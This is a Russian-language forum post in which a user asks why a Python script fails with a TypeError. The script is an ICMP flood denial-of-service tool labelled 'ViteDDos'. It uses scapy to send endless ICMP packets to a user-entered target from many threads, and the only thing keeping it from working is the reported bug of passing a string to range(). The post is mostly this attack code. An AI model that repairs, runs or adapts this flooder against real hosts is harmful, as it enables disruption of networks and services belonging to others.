Ошибка в коде python, с def

import random, os
from scapy.all import *
def DestinationIP():
        dstIP = input("IP: ")
        return dstIP
os.system("figlet ViteDDos | ICMP")
host = input("Target > ")

thr = input("Threads: ")
ta = DestinationIP()
def sendg():
        while True:
                send(IP(dst=host)/ICMP())

thread_pool = [
        Thread(target=sendg,  args=[]) for _ in range(thr)
]
for thread in thread_pool:
        thread.start()

Это мой код. Когда я запускаю, ввожу всё, выходит ошибка: Traceback (most recent call last): File "vdic.py", line 16, in Thread(target=sendg, args=[]) for _ in range(thr) TypeError: 'str' object cannot be interpreted as an integer